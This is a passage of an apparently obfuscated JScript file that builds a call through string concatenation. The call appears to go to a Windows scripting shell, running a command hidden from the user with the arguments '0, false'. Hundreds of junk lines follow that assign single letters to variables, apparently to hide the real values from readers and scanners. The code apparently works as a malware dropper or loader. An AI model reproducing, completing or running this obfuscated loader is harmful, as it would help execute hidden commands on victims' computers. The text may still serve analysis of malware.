13 | this[sflflvpw + ekgxee + iyqdvsp + ecuvyftpo + suurq + nahiwic + ycocvilen][wkpcwi + ecuvyftpo + xosrfzwlf + crkix + ycocvilen + xosrfzwlf + ucmvu + qxanosjw + ygnzbhp + xosrfzwlf + iyqdvsp + ycocvilen] ( sflflvpw + ekgxee + iyqdvsp + ecuvyftpo + suurq + nahiwic + ycocvilen + sypzvbpp + ekgxee + wtdui + xosrfzwlf + klpft + klpft ) [ecuvyftpo + ruczaonm + zfjnnqj] ( iyqdvsp + qoisxhrzt + vyfupchvv + cofykiy + ftfkwxr + iyqdvsp + cofykiy + nahiwic + ngtkg + okvygb + xosrfzwlf + ecuvyftpo + pzxuf + wtdui + xosrfzwlf + klpft + klpft + sypzvbpp + xosrfzwlf + phkitvzac + xosrfzwlf + cofykiy + yntxgtlwr + wkpcwi + ngtkg + qoisxhrzt + qoisxhrzt + crkix + zfjnnqj + vyfupchvv + cofykiy + igrwcznq + qpauemx + zfjnnqj + zlyxzlmla + ngtkg + aaycdfmx + xosrfzwlf + yntxgtlwr + sflflvpw + xosrfzwlf + qxanosjw + oamdbwvo + xosrfzwlf + wouxpgq + ruczaonm + xosrfzwlf + pzxuf + ycocvilen + cofykiy + yntxgtlwr + ucmvu + ruczaonm + ycocvilen + jrsua + suurq + klpft + xosrfzwlf + cofykiy + wcrvxqwx + ycocvilen + xosrfzwlf + qoisxhrzt + nahiwic + wcrvxqwx + lkoihh + suurq + zfjnnqj + zlyxzlmla + ngtkg + suurq + iyqdvsp + xosrfzwlf + sypzvbpp + nahiwic + vyfupchvv + zezkg + cofykiy + wtdui + ycocvilen + ycocvilen + nahiwic + ddughobfj + ftfkwxr + ftfkwxr + vjwwscz + nbtvn + deqlqygat + sypzvbpp + vjwwscz + ofmqs + deqlqygat + sypzvbpp + vjwwscz + sypzvbpp + qdvjkle + zxvgdyhug + gqkfsvrj + ftfkwxr + suurq + zfjnnqj + zlyxzlmla + ngtkg + suurq + iyqdvsp + xosrfzwlf + sypzvbpp + nahiwic + wtdui + nahiwic + igrwcznq + xsldnitjh + xsldnitjh + pzxuf + ycocvilen + crkix + ecuvyftpo + ycocvilen + cofykiy + wcrvxqwx + ycocvilen + xosrfzwlf + qoisxhrzt + nahiwic + wcrvxqwx + lkoihh + suurq + zfjnnqj + zlyxzlmla + ngtkg + suurq + iyqdvsp + xosrfzwlf + sypzvbpp + nahiwic + vyfupchvv + zezkg + xsldnitjh + xsldnitjh + iyqdvsp + qoisxhrzt + vyfupchvv + cofykiy + ftfkwxr + iyqdvsp + cofykiy + zfjnnqj + xosrfzwlf + ycocvilen + cofykiy + ruczaonm + pzxuf + xosrfzwlf + cofykiy + lkoihh + lkoihh + vjwwscz + nbtvn + deqlqygat + sypzvbpp + vjwwscz + ofmqs + deqlqygat + sypzvbpp + vjwwscz + sypzvbpp + qdvjkle + zxvgdyhug + gqkfsvrj + emwbt + nnofsr + nnofsr + nnofsr + nnofsr + lkoihh + vyfupchvv + crkix + zlyxzlmla + okvygb + okvygb + okvygb + ecuvyftpo + ngtkg + ngtkg + ycocvilen + lkoihh + xsldnitjh + xsldnitjh + iyqdvsp + qoisxhrzt + vyfupchvv + cofykiy + ftfkwxr + iyqdvsp + cofykiy + ecuvyftpo + xosrfzwlf + ikbdhduw + pzxuf + zlyxzlmla + ecuvyftpo + deqlqygat + qdvjkle + cofykiy + ftfkwxr + pzxuf + cofykiy + lkoihh + lkoihh + vjwwscz + nbtvn + deqlqygat + sypzvbpp + vjwwscz + ofmqs + deqlqygat + sypzvbpp + vjwwscz + sypzvbpp + qdvjkle + zxvgdyhug + gqkfsvrj + emwbt + nnofsr + nnofsr + nnofsr + nnofsr + lkoihh + vyfupchvv + crkix + zlyxzlmla + okvygb + okvygb + okvygb + ecuvyftpo + ngtkg + ngtkg + ycocvilen + lkoihh + qdvjkle + deqlqygat + nbtvn + ochyoudh + deqlqygat + ofmqs + nbtvn + deqlqygat + qdvjkle + nbtvn + qdvjkle + ochyoudh + owjplm + sypzvbpp + vyfupchvv + klpft + klpft, 0, false ); |
|
14 | } | |
15 | qxanosjw = "p"; | |
16 | qxanosjw = "J"; | |
17 | qxanosjw = "L"; | |
18 | qxanosjw = "o"; | |
19 | qxanosjw = "j"; | |
20 | qxanosjw = "S"; | |
21 | qxanosjw = "L"; | |
22 | qxanosjw = "B"; | |
23 | qxanosjw = "z"; | |
24 | qxanosjw = "p"; | |
25 | qxanosjw = "y"; | |
26 | qxanosjw = "B"; | |
27 | qxanosjw = "A"; | |
28 | qxanosjw = "p"; | |
29 | qxanosjw = "R"; | |
30 | qxanosjw = "i"; | |
31 | qxanosjw = "n"; | |
32 | qxanosjw = "H"; | |
33 | qxanosjw = "n"; | |
34 | qxanosjw = "A"; | |
35 | qxanosjw = "b"; | |
36 | nnofsr = "M"; | |
37 | nnofsr = "b"; | |
38 | nnofsr = "w"; | |
39 | nnofsr = "A"; | |
40 | nnofsr = "j"; | |
41 | nnofsr = "X"; | |
42 | nnofsr = "w"; | |
43 | nnofsr = "M"; | |
44 | nnofsr = "y"; | |
45 | nnofsr = "u"; | |
46 | nnofsr = "c"; | |
47 | nnofsr = "G"; | |
48 | nnofsr = "G"; | |
49 | nnofsr = "f"; | |
50 | nnofsr = "d"; | |
51 | nnofsr = "g"; | |
52 | nnofsr = "h"; | |
53 | nnofsr = "h"; | |
54 | nnofsr = "e"; | |
55 | nnofsr = "K"; | |
56 | nnofsr = "m"; | |
57 | nnofsr = "A"; | |
58 | nnofsr = "X"; | |
59 | nnofsr = "t"; | |
60 | nnofsr = "x"; | |
61 | nnofsr = "f"; | |
62 | nnofsr = "H"; | |
63 | nnofsr = "c"; | |
64 | nnofsr = "X"; | |
65 | nnofsr = "X"; | |
66 | nnofsr = "e"; | |
67 | nnofsr = "D"; | |
68 | nnofsr = "8"; | |
69 | vyfupchvv = "P"; | |
70 | vyfupchvv = "x"; | |
71 | vyfupchvv = "T"; | |
72 | vyfupchvv = "n"; | |
73 | vyfupchvv = "f"; | |
74 | vyfupchvv = "H"; | |
75 | vyfupchvv = "u"; | |
76 | vyfupchvv = "l"; | |
77 | vyfupchvv = "Q"; | |
78 | vyfupchvv = "T"; | |
79 | vyfupchvv = "z"; | |
80 | vyfupchvv = "w"; | |
81 | vyfupchvv = "n"; | |
82 | vyfupchvv = "L"; | |
83 | vyfupchvv = "F"; | |
84 | vyfupchvv = "h"; | |
85 | vyfupchvv = "C"; | |
86 | vyfupchvv = "r"; | |
87 | vyfupchvv = "n"; | |
88 | vyfupchvv = "T"; | |
89 | vyfupchvv = "v"; | |
90 | vyfupchvv = "A"; | |
91 | vyfupchvv = "T"; | |
92 | vyfupchvv = "n"; | |
93 | vyfupchvv = "D"; | |
94 | vyfupchvv = "a"; | |
95 | vyfupchvv = "p"; | |
96 | vyfupchvv = "E"; | |
97 | vyfupchvv = "B"; | |
98 | vyfupchvv = "C"; | |
99 | vyfupchvv = "L"; | |
100 | vyfupchvv = "l"; | |
101 | vyfupchvv = "T"; | |
102 | vyfupchvv = "R"; | |
103 | vyfupchvv = "s"; | |
104 | vyfupchvv = "d"; | |
105 | wcrvxqwx = "t"; | |
106 | wcrvxqwx = "g"; | |
107 | wcrvxqwx = "y"; | |
108 | wcrvxqwx = "C"; | |
109 | wcrvxqwx = "u"; | |
110 | wcrvxqwx = "A"; | |
111 | wcrvxqwx = "c"; | |
112 | wcrvxqwx = "W"; | |
113 | wcrvxqwx = "j"; | |
114 | wcrvxqwx = "U"; | |
115 | wcrvxqwx = "g"; | |
116 | wcrvxqwx = "u"; | |
117 | wcrvxqwx = "u"; | |
118 | wcrvxqwx = "Y"; | |
119 | wcrvxqwx = "D"; | |
120 | wcrvxqwx = "i"; | |
121 | wcrvxqwx = "w"; | |
122 | wcrvxqwx = "a"; | |
123 | wcrvxqwx = "r"; | |
124 | wcrvxqwx = "B"; | |
125 | wcrvxqwx = "n"; | |
126 | wcrvxqwx = "u"; | |
127 | wcrvxqwx = "a"; | |
128 | wcrvxqwx = "x"; | |
129 | wcrvxqwx = "Z"; | |
130 | wcrvxqwx = "Z"; | |
131 | wcrvxqwx = "h"; | |
132 | wcrvxqwx = "n"; | |
133 | wcrvxqwx = "c"; | |
134 | wcrvxqwx = "g"; | |
135 | wcrvxqwx = "e"; | |
136 | wcrvxqwx = "K"; | |
137 | wcrvxqwx = "%"; | |
138 | lqgcgrtp = "k"; | |
139 | lqgcgrtp = "W"; | |
140 | lqgcgrtp = "j"; | |
141 | lqgcgrtp = "j"; | |
142 | lqgcgrtp = "b"; | |
143 | lqgcgrtp = "N"; | |
144 | lqgcgrtp = "c"; | |
145 | lqgcgrtp = "Q"; | |
146 | lqgcgrtp = "S"; | |
147 | lqgcgrtp = "u"; | |
148 | lqgcgrtp = "D"; | |
149 | lqgcgrtp = "d"; | |
150 | lqgcgrtp = "i"; | |
151 | lqgcgrtp = "m"; | |
152 | lqgcgrtp = "L"; | |
153 | lqgcgrtp = "R"; | |
154 | lqgcgrtp = "H"; | |
155 | tacazl = "v"; | |
156 | tacazl = "q"; | |
157 | tacazl = "h"; | |
158 | tacazl = "T"; | |
159 | tacazl = "P"; | |
160 | ekgxee = "X"; | |
161 | ekgxee = "p"; | |
162 | ekgxee = "E"; | |
163 | ekgxee = "X"; | |
164 | ekgxee = "R"; | |
165 | ekgxee = "W"; | |
166 | ekgxee = "t"; | |
167 | ekgxee = "l"; | |
168 | ekgxee = "T"; | |
169 | ekgxee = "P"; | |
170 | ekgxee = "Q"; | |
171 | ekgxee = "C"; | |
172 | ekgxee = "P"; | |
173 | ekgxee = "h"; | |
174 | ekgxee = "m"; | |
175 | ekgxee = "P"; | |
176 | ekgxee = "V"; | |
177 | ekgxee = "S"; | |
178 | pzxuf = "f"; | |
179 | pzxuf = "s"; | |
180 | pzxuf = "M"; | |
181 | pzxuf = "S"; | |
182 | pzxuf = "L"; | |
183 | pzxuf = "w"; | |
184 | pzxuf = "R"; | |
185 | pzxuf = "F"; | |
186 | pzxuf = "N"; | |
187 | pzxuf = "s"; | |
188 | ofmqs = "i"; | |
189 | ofmqs = "n"; | |
190 | ofmqs = "D"; | |
191 | ofmqs = "Y"; | |
192 | ofmqs = "G"; | |
193 | ofmqs = "D"; | |
194 | ofmqs = "C"; | |
195 | ofmqs = "i"; | |
196 | ofmqs = "a"; | |
197 | ofmqs = "t"; | |
198 | ofmqs = "f"; | |
199 | ofmqs = "s"; | |
200 | ofmqs = "l"; | |
201 | ofmqs = "z"; | |
202 | ofmqs = "M"; | |
203 | ofmqs = "N"; | |
204 | ofmqs = "o"; | |
205 | ofmqs = "z"; | |
206 | ofmqs = "A"; | |
207 | ofmqs = "k"; | |
208 | ofmqs = "U"; | |
209 | ofmqs = "C"; | |
210 | ofmqs = "d"; | |
211 | ofmqs = "b"; | |
212 | ofmqs = "B"; | |
213 | ofmqs = "I"; | |
214 | ofmqs = "z"; | |
215 | ofmqs = "G"; | |
216 | ofmqs = "B"; | |
217 | ofmqs = "4"; | |
218 | gqkfsvrj = "Y"; | |
219 | gqkfsvrj = "s"; | |
220 | gqkfsvrj = "N"; | |
221 | gqkfsvrj = "D"; | |
222 | gqkfsvrj = "Z"; | |
223 | gqkfsvrj = "G"; | |
224 | gqkfsvrj = "m"; | |
225 | gqkfsvrj = "B"; | |
226 | gqkfsvrj = "W"; | |
227 | gqkfsvrj = "p"; | |
228 | gqkfsvrj = "5"; | |
229 | mengyxdje = "n"; | |
230 | mengyxdje = "p"; | |
231 | mengyxdje = "Q"; | |
232 | tevvaz = "t"; | |
233 | tevvaz = "D"; | |
234 | tevvaz = "f"; | |
235 | tevvaz = "b"; | |
236 | tevvaz = "I"; | |
237 | tevvaz = "k"; | |
238 | tevvaz = "E"; | |
239 | iyqdvsp = "R"; | |
240 | iyqdvsp = "E"; | |
241 | iyqdvsp = "R"; | |
242 | iyqdvsp = "f"; | |
243 | iyqdvsp = "z"; | |
244 | iyqdvsp = "X"; | |
245 | iyqdvsp = "Z"; | |
246 | iyqdvsp = "w"; | |
247 | iyqdvsp = "I"; | |
248 | iyqdvsp = "O"; | |
249 | iyqdvsp = "h"; | |
250 | iyqdvsp = "c"; | |
251 | iyqdvsp = "E"; | |
252 | iyqdvsp = "V"; | |
253 | iyqdvsp = "q"; | |
254 | iyqdvsp = "T"; | |
255 | iyqdvsp = "M"; | |
256 | iyqdvsp = "O"; | |
257 | iyqdvsp = "q"; | |
258 | iyqdvsp = "j"; | |
259 | iyqdvsp = "g"; | |
260 | iyqdvsp = "Q"; | |
261 | iyqdvsp = "F"; | |
262 | iyqdvsp = "p"; | |
263 | iyqdvsp = "c"; | |
264 | iyqdvsp = "C"; | |
265 | iyqdvsp = "L"; | |
266 | iyqdvsp = "h"; | |
267 | iyqdvsp = "u"; | |
268 | iyqdvsp = "J"; | |
269 | iyqdvsp = "x"; | |
270 | iyqdvsp = "n"; | |
271 | iyqdvsp = "j"; | |
272 | iyqdvsp = "Y"; | |
273 | iyqdvsp = "Z"; | |
274 | iyqdvsp = "c"; | |
275 | oamdbwvo = "U"; | |
276 | oamdbwvo = "k"; | |
277 | oamdbwvo = "Y"; | |
278 | oamdbwvo = "p"; | |
279 | oamdbwvo = "Q"; | |
280 | oamdbwvo = "o"; | |
281 | oamdbwvo = "W"; | |
282 | oamdbwvo = "K"; | |
283 | oamdbwvo = "C"; | |
284 | oamdbwvo = "M"; | |
285 | oamdbwvo = "Q"; | |
286 | oamdbwvo = "k"; | |
287 | oamdbwvo = "B"; | |
288 | oamdbwvo = "U"; | |
289 | oamdbwvo = "c"; | |
290 | oamdbwvo = "A"; | |
291 | oamdbwvo = "c"; | |
292 | oamdbwvo = "G"; | |
293 | oamdbwvo = "s"; | |
294 | oamdbwvo = "t"; | |
295 | oamdbwvo = "x"; | |
296 | oamdbwvo = "i"; | |
297 | oamdbwvo = "X"; | |
298 | oamdbwvo = "A"; | |
299 | oamdbwvo = "t"; | |
300 | oamdbwvo = "K"; | |
301 | oamdbwvo = "C"; | |
302 | oamdbwvo = "i"; | |
303 | oamdbwvo = "Y"; | |
304 | oamdbwvo = "k"; | |
305 | oamdbwvo = "x"; | |
306 | oamdbwvo = "q"; | |
307 | oamdbwvo = "n"; | |
308 | oamdbwvo = "x"; | |
309 | oamdbwvo = "N"; | |
310 | oamdbwvo = "x"; | |
311 | oamdbwvo = "z"; | |
312 | oamdbwvo = "q"; | |
313 | oamdbwvo = "x"; | |
314 | oamdbwvo = "O"; | |
315 | oamdbwvo = "R"; | |
316 | livkvmrfn = "f"; | |
317 | livkvmrfn = "n"; | |
318 | livkvmrfn = "s"; | |
319 | livkvmrfn = "Y"; | |
320 | livkvmrfn = "_"; | |
321 | mdtvi = "R"; | |
322 | mdtvi = "g"; | |
323 | mdtvi = "X"; | |
324 | mdtvi = "G"; | |
325 | mdtvi = "J"; | |
326 | mdtvi = "H"; | |
327 | mdtvi = "z"; | |
328 | mdtvi = "N"; | |
329 | mdtvi = "P"; | |
330 | mdtvi = "R"; | |
331 | mdtvi = "Z"; | |
332 | mdtvi = "z"; | |
333 | mdtvi = "B"; | |
334 | mdtvi = "W"; | |
335 | mdtvi = "e"; | |
336 | mdtvi = "d"; | |
337 | mdtvi = "W"; | |
338 | mdtvi = "k"; | |
339 | mdtvi = "Z"; | |
340 | mdtvi = "b"; | |
341 | mdtvi = "s"; | |
342 | mdtvi = "m"; | |
343 | mdtvi = "X"; | |
344 | mdtvi = "c"; | |
345 | mdtvi = "k"; | |
346 | mdtvi = "Q"; | |
347 | mdtvi = "N"; | |
348 | xosrfzwlf = "r"; | |
349 | xosrfzwlf = "Y"; | |
350 | xosrfzwlf = "F"; | |
351 | xosrfzwlf = "K"; | |
352 | xosrfzwlf = "T"; | |
353 | xosrfzwlf = "t"; | |
354 | xosrfzwlf = "c"; | |
355 | xosrfzwlf = "B"; | |
356 | xosrfzwlf = "x"; | |
357 | xosrfzwlf = "U"; | |
358 | xosrfzwlf = "D"; | |
359 | xosrfzwlf = "u"; | |
360 | xosrfzwlf = "C"; | |
361 | xosrfzwlf = "V"; | |
362 | xosrfzwlf = "M"; | |
363 | xosrfzwlf = "e"; | |
364 | zezkg = "F"; | |
365 | zezkg = "m"; | |
366 | zezkg = "Z"; | |
367 | zezkg = "E"; | |
368 | zezkg = "E"; | |
369 | zezkg = "R"; | |
370 | zezkg = "G"; | |
371 | zezkg = "a"; | |
372 | zezkg = "o"; | |
373 | zezkg = "o"; | |
374 | zezkg = "O"; | |
375 | zezkg = "a"; | |
376 | zezkg = "a"; | |
377 | zezkg = "l"; | |
378 | zezkg = "m"; | |
379 | zezkg = "S"; | |
380 | zezkg = "o"; | |
381 | zezkg = "V"; | |
382 | zezkg = "Y"; | |
383 | zezkg = "w"; | |
384 | zezkg = "B"; | |
385 | zezkg = "v"; | |
386 | zezkg = "o"; | |
387 | zezkg = "C"; | |
388 | zezkg = "K"; | |
389 | zezkg = "q"; | |
390 | zezkg = "D"; | |
391 | zezkg = "U"; | |
392 | zezkg = "F"; | |
393 | zezkg = "k"; | |
394 | zezkg = "b"; | |
395 | zezkg = "G"; | |
396 | zezkg = "N"; | |
397 | zezkg = "c"; | |
398 | zezkg = "M"; | |
399 | zezkg = "I"; | |
400 | zezkg = "Q"; | |
401 | zezkg = "F"; | |
402 | zezkg = "V"; | |
403 | zezkg = "R"; | |
404 | zezkg = "g"; | |
405 | zezkg = "b"; | |
406 | zezkg = "G"; | |
407 | zezkg = "I"; | |
408 | zezkg = "f"; | |
409 | klpft = "l"; | |
410 | phkitvzac = "f"; | |
411 | phkitvzac = "r"; | |
412 | phkitvzac = "Z"; | |
413 | phkitvzac = "I"; | |
414 | phkitvzac = "Y"; | |
415 | phkitvzac = "G"; | |
416 | phkitvzac = "I"; | |
417 | phkitvzac = "n"; | |
418 | phkitvzac = "B"; | |
419 | phkitvzac = "f"; | |
420 | phkitvzac = "X"; | |
421 | phkitvzac = "r"; | |
422 | phkitvzac = "m"; | |
423 | phkitvzac = "p"; | |
424 | phkitvzac = "o"; | |
425 | phkitvzac = "G"; | |
426 | phkitvzac = "r"; | |
427 | phkitvzac = "d"; | |
428 | phkitvzac = "I"; | |
429 | phkitvzac = "t"; | |
430 | phkitvzac = "P"; | |
431 | phkitvzac = "u"; | |
432 | phkitvzac = "V"; | |
433 | phkitvzac = "y"; | |
434 | phkitvzac = "h"; | |
435 | phkitvzac = "Z"; | |
436 | phkitvzac = "p"; | |
437 | phkitvzac = "H"; | |
438 | phkitvzac = "P"; | |
439 | phkitvzac = "B"; | |
440 | phkitvzac = "r"; | |
441 | phkitvzac = "k"; | |
442 | phkitvzac = "Q"; | |
443 | phkitvzac = "q"; | |
444 | phkitvzac = "h"; | |
445 | phkitvzac = "x"; | |
446 | bimujwv = "k"; | |
447 | bimujwv = "r"; | |
448 | bimujwv = "j"; | |
449 | bimujwv = "G"; | |
450 | bimujwv = "x"; | |
451 | bimujwv = "K"; | |
452 | bimujwv = "z"; | |
453 | bimujwv = "d"; | |
454 | bimujwv = "T"; | |
455 | bimujwv = "h"; | |
456 | bimujwv = "Y"; | |
457 | bimujwv = "k"; | |
458 | bimujwv = "H"; | |
459 | bimujwv = "J"; | |
460 | bimujwv = "h"; | |
461 | bimujwv = "h"; | |
462 | bimujwv = "K"; | |
463 | vjwwscz = "q"; | |
464 | vjwwscz = "C"; | |
465 | vjwwscz = "n"; | |
466 | vjwwscz = "J"; | |
467 | vjwwscz = "M"; | |
468 | vjwwscz = "T"; | |
469 | vjwwscz = "H"; | |
470 | vjwwscz = "K"; | |
471 | vjwwscz = "P"; | |
472 | vjwwscz = "T"; | |
473 | vjwwscz = "T"; | |
474 | vjwwscz = "h"; | |
475 | vjwwscz = "N"; | |
476 | vjwwscz = "t"; | |
477 | vjwwscz = "g"; | |
478 | vjwwscz = "t"; | |
479 | vjwwscz = "N"; | |
480 | vjwwscz = "W"; | |
481 | vjwwscz = "G"; | |
482 | vjwwscz = "B"; | |
483 | vjwwscz = "K"; | |
484 | vjwwscz = "C"; | |
485 | vjwwscz = "R"; | |
486 | vjwwscz = "O"; | |
487 | vjwwscz = "X"; | |
488 | vjwwscz = "O"; | |
489 | vjwwscz = "O"; | |
490 | vjwwscz = "G"; | |
491 | vjwwscz = "Z"; | |
492 | vjwwscz = "a"; | |
493 | vjwwscz = "h"; | |
494 | vjwwscz = "i"; | |
495 | vjwwscz = "h"; | |
496 | vjwwscz = "D"; | |
497 | vjwwscz = "1"; | |
498 | zlyxzlmla = "e"; | |
499 | zlyxzlmla = "L"; | |
500 | zlyxzlmla = "c"; | |
501 | zlyxzlmla = "b"; | |
502 | zlyxzlmla = "Y"; | |
503 | zlyxzlmla = "f"; | |
504 | zlyxzlmla = "f"; | |
505 | zlyxzlmla = "e"; | |
506 | zlyxzlmla = "v"; | |
507 | qoisxhrzt = "T"; | |
508 | qoisxhrzt = "v"; | |
509 | qoisxhrzt = "y"; | |
510 | qoisxhrzt = "g"; | |
511 | qoisxhrzt = "C"; | |
512 | qoisxhrzt = "K"; | |
513 | qoisxhrzt = "y"; | |
514 | qoisxhrzt = "G"; | |
515 | qoisxhrzt = "Q"; | |
516 | qoisxhrzt = "d"; | |
517 | qoisxhrzt = "L"; | |
518 | qoisxhrzt = "D"; | |
519 | qoisxhrzt = "u"; | |
520 | qoisxhrzt = "n"; | |
521 | qoisxhrzt = "w"; | |
522 | qoisxhrzt = "r"; | |
523 | qoisxhrzt = "N"; | |
524 | qoisxhrzt = "I"; | |
525 | qoisxhrzt = "g"; | |
526 | qoisxhrzt = "S"; | |
527 | qoisxhrzt = "z"; | |
528 | qoisxhrzt = "i"; | |
529 | qoisxhrzt = "I"; | |
530 | qoisxhrzt = "k"; | |
531 | qoisxhrzt = "g"; | |
532 | qoisxhrzt = "c"; | |
533 | qoisxhrzt = "F"; | |
534 | qoisxhrzt = "g"; | |
535 | qoisxhrzt = "q"; | |
536 | qoisxhrzt = "g"; | |
537 | qoisxhrzt = "S"; | |
538 | qoisxhrzt = "O"; | |
539 | qoisxhrzt = "U"; | |
540 | qoisxhrzt = "S"; | |
541 | qoisxhrzt = "o"; | |
542 | qoisxhrzt = "p"; | |
543 | qoisxhrzt = "D"; | |
544 | qoisxhrzt = "I"; | |
545 | qoisxhrzt = "z"; | |
546 | qoisxhrzt = "L"; | |
547 | qoisxhrzt = "N"; | |
548 | qoisxhrzt = "R"; | |
549 | qoisxhrzt = "A"; | |
550 | qoisxhrzt = "m"; | |
551 | okvygb = "Q"; | |
552 | okvygb = "I"; | |
553 | okvygb = "p"; | |
554 | okvygb = "v"; | |
555 | okvygb = "Q"; | |
556 | okvygb = "I"; | |
557 | okvygb = "Q"; | |
558 | okvygb = "U"; | |
559 | okvygb = "t"; | |
560 | okvygb = "G"; | |
561 | okvygb = "z"; | |
562 | okvygb = "a"; | |
563 | okvygb = "m"; | |
564 | okvygb = "q"; | |
565 | okvygb = "Y"; | |
566 | okvygb = "D"; | |
567 | okvygb = "K"; | |
568 | okvygb = "P"; | |
569 | okvygb = "j"; | |
570 | okvygb = "L"; | |
571 | okvygb = "i"; | |
572 | okvygb = "G"; | |
573 | okvygb = "Z"; | |
574 | okvygb = "R"; | |
575 | okvygb = "V"; | |
576 | okvygb = "U"; | |
577 | okvygb = "d"; | |
578 | okvygb = "w"; | |
579 | sflflvpw = "E"; | |
580 | sflflvpw = "o"; | |
581 | sflflvpw = "q"; | |
582 | sflflvpw = "V"; | |
583 | sflflvpw = "H"; | |
584 | sflflvpw = "O"; | |
585 | sflflvpw = "X"; | |
586 | sflflvpw = "X"; | |
587 | sflflvpw = "V"; | |
588 | sflflvpw = "t"; | |
589 | sflflvpw = "u"; | |
590 | sflflvpw = "u"; | |
591 | sflflvpw = "B"; | |
592 | sflflvpw = "C"; | |
593 | sflflvpw = "B"; | |
594 | sflflvpw = "A"; | |
595 | sflflvpw = "Y"; | |
596 | sflflvpw = "i"; | |
597 | sflflvpw = "p"; | |
598 | sflflvpw = "B"; | |
599 | sflflvpw = "l"; | |
600 | sflflvpw = "Z"; | |
601 | sflflvpw = "o"; | |
602 | sflflvpw = "p"; | |
603 | sflflvpw = "H"; | |
604 | sflflvpw = "W"; | |
605 | wouxpgq = "o"; | |
606 | wouxpgq = "I"; | |
607 | wouxpgq = "I"; | |
608 | wouxpgq = "K"; | |
609 | wouxpgq = "l"; | |
610 | wouxpgq = "c"; | |
611 | wouxpgq = "A"; | |
612 | wouxpgq = "H"; | |
613 | wouxpgq = "I"; | |
614 | wouxpgq = "V"; | |
615 | wouxpgq = "K"; | |
616 | wouxpgq = "q"; | |
617 | wouxpgq = "v"; | |
618 | wouxpgq = "I"; | |
619 | wouxpgq = "t"; | |
620 | wouxpgq = "q"; | |
621 | nbtvn = "q"; | |
622 | nbtvn = "C"; | |
623 | nbtvn = "j"; | |
624 | nbtvn = "J"; | |
625 | nbtvn = "N"; | |
626 | nbtvn = "f"; | |
627 | nbtvn = "C"; | |
628 | nbtvn = "c"; | |
629 | nbtvn = "s"; | |
630 | nbtvn = "x"; | |
631 | nbtvn = "O"; | |
632 | nbtvn = "t"; | |
633 | nbtvn = "L"; | |
634 | nbtvn = "X"; | |
635 | nbtvn = "a"; | |
636 | nbtvn = "P"; | |
637 | nbtvn = "f"; | |
638 | nbtvn = "T"; | |
639 | nbtvn = "k"; | |
640 | nbtvn = "W"; | |
641 | nbtvn = "T"; | |
642 | nbtvn = "a"; | |
643 | nbtvn = "b"; | |
644 | nbtvn = "q"; | |
645 | nbtvn = "S"; | |
646 | nbtvn = "g"; | |
647 | nbtvn = "l"; | |
648 | nbtvn = "e"; | |
649 | nbtvn = "d"; | |
650 | nbtvn = "q"; | |
651 | nbtvn = "d"; | |
652 | nbtvn = "P"; | |
653 | nbtvn = "h"; | |
654 | nbtvn = "e"; | |
655 | nbtvn = "N"; | |
656 | nbtvn = "A"; | |
657 | nbtvn = "q"; | |
658 | nbtvn = "v"; | |
659 | nbtvn = "9"; | |
660 | nahiwic = "L"; | |
661 | nahiwic = "k"; | |
662 | nahiwic = "T"; | |
663 | nahiwic = "o"; | |
664 | nahiwic = "e"; | |
665 | nahiwic = "D"; | |
666 | nahiwic = "k"; | |
667 | nahiwic = "s"; | |
668 | nahiwic = "R"; | |
669 | nahiwic = "h"; | |
670 | nahiwic = "l"; | |
671 | nahiwic = "Z"; | |
672 | nahiwic = "a"; | |
673 | nahiwic = "H"; | |
674 | nahiwic = "D"; | |
675 | nahiwic = "A"; | |
676 | nahiwic = "j"; | |
677 | nahiwic = "n"; | |
678 | nahiwic = "H"; | |
679 | nahiwic = "Q"; | |
680 | nahiwic = "k"; | |
681 | nahiwic = "C"; | |
682 | nahiwic = "V"; | |
683 | nahiwic = "V"; | |
684 | nahiwic = "Z"; | |
685 | nahiwic = "g"; | |
686 | nahiwic = "Q"; | |
687 | nahiwic = "x"; | |
688 | nahiwic = "q"; | |
689 | nahiwic = "u"; | |
690 | nahiwic = "o"; | |
691 | nahiwic = "S"; | |
692 | nahiwic = "X"; | |
693 | nahiwic = "p"; | |
694 | deqlqygat = "X"; | |
695 | deqlqygat = "F"; | |
696 | deqlqygat = "S"; | |
697 | deqlqygat = "v"; | |
698 | deqlqygat = "H"; | |
699 | deqlqygat = "k"; | |
700 | deqlqygat = "P"; | |
701 | deqlqygat = "s"; | |
702 | deqlqygat = "A"; | |
703 | deqlqygat = "c"; | |
704 | deqlqygat = "s"; | |
705 | deqlqygat = "M"; | |
706 | deqlqygat = "d"; | |
707 | deqlqygat = "j"; | |
708 | deqlqygat = "W"; | |
709 | deqlqygat = "V"; | |
710 | deqlqygat = "O"; | |
711 | deqlqygat = "k"; | |
712 | deqlqygat = "s"; | |
713 | deqlqygat = "N"; | |
714 | deqlqygat = "b"; | |
715 | deqlqygat = "k"; | |
716 | deqlqygat = "i"; | |
717 | deqlqygat = "e"; | |
718 | deqlqygat = "H"; | |
719 | deqlqygat = "Q"; | |
720 | deqlqygat = "O"; | |
721 | deqlqygat = "Y"; | |
722 | deqlqygat = "I"; | |
723 | deqlqygat = "q"; | |
724 | deqlqygat = "q"; | |
725 | deqlqygat = "v"; | |
726 | deqlqygat = "E"; | |
727 | deqlqygat = "H"; | |
728 | deqlqygat = "B"; | |
729 | deqlqygat = "Q"; | |
730 | deqlqygat = "n"; | |
731 | deqlqygat = "m"; | |
732 | deqlqygat = "3"; | |
733 | wkpcwi = "a"; | |
734 | wkpcwi = "A"; | |
735 | wkpcwi = "u"; | |
736 | wkpcwi = "d"; | |
737 | wkpcwi = "C"; | |
738 | wkpcwi = "B"; | |
739 | wkpcwi = "V"; | |
740 | wkpcwi = "O"; | |
741 | wkpcwi = "x"; | |
742 | wkpcwi = "V"; | |
743 | wkpcwi = "t"; | |
744 | wkpcwi = "J"; | |
745 | wkpcwi = "O"; | |
746 | wkpcwi = "N"; | |
747 | wkpcwi = "F"; | |
748 | wkpcwi = "f"; | |
749 | wkpcwi = "N"; | |
750 | wkpcwi = "N"; | |
751 | wkpcwi = "c"; | |
752 | wkpcwi = "o"; | |
753 | wkpcwi = "t"; | |
754 | wkpcwi = "O"; | |
755 | wkpcwi = "X"; | |
756 | wkpcwi = "f"; | |
757 | wkpcwi = "L"; | |
758 | wkpcwi = "L"; | |
759 | wkpcwi = "z"; | |
760 | wkpcwi = "A"; | |
761 | wkpcwi = "a"; | |
762 | wkpcwi = "C"; | |
763 | zxvgdyhug = "B"; | |
764 | zxvgdyhug = "M"; | |
765 | zxvgdyhug = "g"; | |
766 | zxvgdyhug = "R"; | |
767 | zxvgdyhug = "P"; | |
768 | zxvgdyhug = "r"; | |
769 | zxvgdyhug = "r"; | |
770 | zxvgdyhug = "T"; | |
